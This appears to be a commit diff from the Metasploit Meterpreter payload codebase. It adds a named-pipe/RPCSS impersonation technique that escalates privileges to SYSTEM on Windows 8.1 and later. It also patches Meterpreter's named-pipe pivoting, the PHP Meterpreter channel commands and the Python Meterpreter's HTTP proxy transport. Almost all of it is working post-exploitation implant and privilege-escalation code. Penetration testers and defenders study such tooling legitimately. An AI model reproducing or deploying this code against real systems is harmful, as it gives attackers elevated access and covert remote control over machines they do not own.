hScm = NULL;
|
||||
}
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
THREAD* pThread = NULL;
|
||||
HANDLE hSem = NULL;
|
||||
char cPipeName1[MAX_PATH] = { 0 };
|
||||
char cPipeName2[MAX_PATH] = { 0 };
|
||||
HMODULE hNtdll = NULL;
|
||||
OSVERSIONINFOEXW os = { 0 };
|
||||
HANDLE hPipe = NULL;
|
||||
DWORD dwPipeUid[2] = { 0, 0 };
|
||||
PRIV_POST_IMPERSONATION PostImpersonation;
|
||||
PRtlGetVersion pRtlGetVersion = NULL;
|
||||
|
||||
do {
|
||||
hNtdll = GetModuleHandleA("ntdll");
|
||||
if (hNtdll == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
|
||||
}
|
||||
|
||||
pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
|
||||
if (pRtlGetVersion == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
|
||||
}
|
||||
|
||||
if (pRtlGetVersion(&os)) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: RtlGetVersion failed");
|
||||
}
|
||||
|
||||
// filter out systems older than Windows 8.1 / Server 2012 R2 (6.3) for this technique
|
||||
if ((os.dwMajorVersion < 6) || (os.dwMajorVersion == 6 && os.dwMinorVersion < 3)) {
|
||||
SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Windows versions older than 6.3 are unsupported");
|
||||
}
|
||||
|
||||
// generate a pseudo random name for the pipe
|
||||
dwPipeUid[0] = ((rand() << 16) | rand());
|
||||
dwPipeUid[1] = ((rand() << 16) | rand());
|
||||
|
||||
_snprintf_s(cPipeName1, sizeof(cPipeName1), MAX_PATH, "\\\\.\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]);
|
||||
// this *MUST* use the "\\localhost\pipe" prefix and not the "\\.\pipe" prefix
|
||||
_snprintf_s(cPipeName2, sizeof(cPipeName2), MAX_PATH, "\\\\localhost\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]);
|
||||
|
||||
dprintf("[ELEVATE] elevate_via_service_namedpipe_rpcss. using pipename: %s", cPipeName1);
|
||||
|
||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||
PostImpersonation.pCallback = post_callback_use_rpcss;
|
||||
PostImpersonation.pCallbackParam = remote;
|
||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cPipeName1, hSem, &PostImpersonation);
|
||||
if (!pThread) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.create failed", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
if (!met_api->thread.run(pThread)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.run failed", ERROR_ACCESS_DENIED);
|
||||
}
|
||||
|
||||
// wait for the thread to create the pipe, if it times out terminate
|
||||
if (hSem) {
|
||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WaitForSingleObject failed", ERROR_ACCESS_DENIED);
|
||||
}
|
||||
} else {
|
||||
Sleep(500);
|
||||
}
|
||||
|
||||
hPipe = CreateFile(cPipeName2, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hPipe == INVALID_HANDLE_VALUE) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. CreateFile failed");
|
||||
}
|
||||
|
||||
if (!WriteFile(hPipe, "\x00", 1, NULL, NULL)) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WriteFile failed");
|
||||
}
|
||||
|
||||
WaitForSingleObject(pThread->handle, 5000);
|
||||
met_api->thread.sigterm(pThread);
|
||||
met_api->thread.join(pThread);
|
||||
|
||||
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. GetExitCodeThread failed", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
} while (0);
|
||||
|
||||
if (hPipe) {
|
||||
CloseHandle(hPipe);
|
||||
}
|
||||
if (pThread) {
|
||||
met_api->thread.destroy(pThread);
|
||||
}
|
||||
if (hSem) {
|
||||
CloseHandle(hSem);
|
||||
}
|
||||
return dwResult;
|
||||
}
|
6
c/meterpreter/source/extensions/priv/namedpipe_rpcss.h
Executable file
6
c/meterpreter/source/extensions/priv/namedpipe_rpcss.h
Executable file
@ -0,0 +1,6 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H
|
||||
|
||||
DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet);
|
||||
|
||||
#endif
|
8
c/meterpreter/source/metsrv/server_pivot_named_pipe.c
Normal file → Executable file
8
c/meterpreter/source/metsrv/server_pivot_named_pipe.c
Normal file → Executable file
@ -163,7 +163,9 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
|
||||
dprintf("[PIPE] Request ID found and matches expected value");
|
||||
// we have a response to our session guid request
|
||||
DWORD sessionGuidLen = 0;
|
||||
LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, 0);
|
||||
LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, &sessionGuidLen);
|
||||
if (sessionGuid != NULL && sessionGuidLen == sizeof(ctx->pivot_session_guid) && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0)
|
||||
{
|
||||
#ifdef DEBUGTRACE
|
||||
PUCHAR h = (PUCHAR)&sessionGuid[0];
|
||||
dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
||||
@ -173,8 +175,6 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
|
||||
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
|
||||
dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid));
|
||||
#endif
|
||||
if (sessionGuid != NULL && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0)
|
||||
{
|
||||
dprintf("[PIPE] Session guid returned, looks like the session is a reconnect");
|
||||
memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid));
|
||||
|
||||
@ -212,7 +212,7 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
|
||||
|
||||
// with the session now established, we need to inform metasploit of the new connection
|
||||
dprintf("[PIPE] Informing MSF of the new named pipe pivot");
|
||||
Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_DIED);
|
||||
Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_NEW);
|
||||
packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid));
|
||||
packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id));
|
||||
packet_transmit(ctx->remote, notification, NULL);
|
||||
|
@ -362,6 +362,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<ClInclude Include="..\..\source\extensions\priv\elevate.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\fs.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\namedpipe.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\namedpipe_rpcss.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\passwd.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\precomp.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\priv.h" />
|
||||
@ -372,6 +373,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<ClCompile Include="..\..\source\extensions\priv\elevate.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\fs.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\namedpipe.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\namedpipe_rpcss.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\passwd.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\priv.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\service.c" />
|
||||
|
@ -860,7 +860,7 @@ function handle_dead_resource_channel($resource) {
|
||||
|
||||
# Notify the client that this channel is dead
|
||||
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_close'));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
|
||||
@ -878,7 +878,7 @@ function handle_resource_read_channel($resource, $data) {
|
||||
|
||||
# Build a new Packet
|
||||
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_write'));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_WRITE));
|
||||
if (array_key_exists((int)$resource, $udp_host_map)) {
|
||||
list($h,$p) = $udp_host_map[(int)$resource];
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
|
||||
|
@ -22,7 +22,7 @@ else:
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
try:
|
||||
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
||||
urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
||||
if sys.version_info[0] < 3:
|
||||
urllib = __import__('urllib2', fromlist=urllib_imports)
|
||||
else:
|
||||
@ -969,6 +969,7 @@ class HttpTransport(Transport):
|
||||
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
||||
if proxy:
|
||||
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
|
||||
opener_args.append(urllib.ProxyBasicAuthHandler())
|
||||
self.proxy = proxy
|
||||
opener = urllib.build_opener(*opener_args)
|
||||
opener.addheaders = []
|
||||
@ -1004,8 +1005,11 @@ class HttpTransport(Transport):
|
||||
packet = None
|
||||
xor_key = None
|
||||
request = urllib.Request(self.url, None, self._http_request_headers)
|
||||
urlopen_kwargs = {}
|
||||
if sys.version_info > (2, 6):
|
||||
urlopen_kwargs['timeout'] = self.communication_timeout
|
||||
try:
|
||||
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
||||
url_h = urllib.urlopen(request, **urlopen_kwargs)
|
||||
packet = url_h.read()
|
||||
for _ in range(1):
|
||||
if packet == '':
|
||||
@ -1034,7 +1038,10 @@ class HttpTransport(Transport):
|
||||
|
||||
def _send_packet(self, packet):
|
||||
request = urllib.Request(self.url, packet, self._http_request_headers)
|
||||
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
||||
urlopen_kwargs = {}
|
||||
if sys.version_info > (2, 6):
|
||||
urlopen_kwargs['timeout'] = self.communication_timeout
|
||||
url_h = urllib.urlopen(request, **urlopen_kwargs)
|
||||
response = url_h.read()
|
||||
|
||||
def patch_uri_path(self, new_path):
|
||||
|
Loading…
Reference in New Issue
Block a user